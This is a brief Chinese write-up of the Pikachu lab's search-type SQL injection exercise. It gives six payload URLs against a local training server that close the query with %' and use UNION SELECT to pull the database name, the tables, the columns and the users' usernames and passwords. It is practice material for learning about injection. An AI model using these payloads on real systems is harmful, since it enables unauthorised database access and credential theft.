Pikachu SQL注入之搜索型注入

无论是搜索型还是字符型，都是需要找到闭合的方式也就是闭合的字符，然后进行sql注入：

这里我直接梭哈，原理都一样就没必要再详细说一遍了，前面的文章都有：

构造payload：

第一步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%'%23&submit=%E6%90%9C%E7%B4%A2


第二步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%' order by 3%23&submit=%E6%90%9C%E7%B4%A2


第三步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%' union select database(),2,3%23&submit=%E6%90%9C%E7%B4%A2


第四步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23&submit=%E6%90%9C%E7%B4%A2



第五步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'%23&submit=%E6%90%9C%E7%B4%A2


第六步：
http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=1%' union select username,password,level from users%23&submit=%E6%90%9C%E7%B4%A2

最后结果就是：

这题闭合符号是%'

拿下！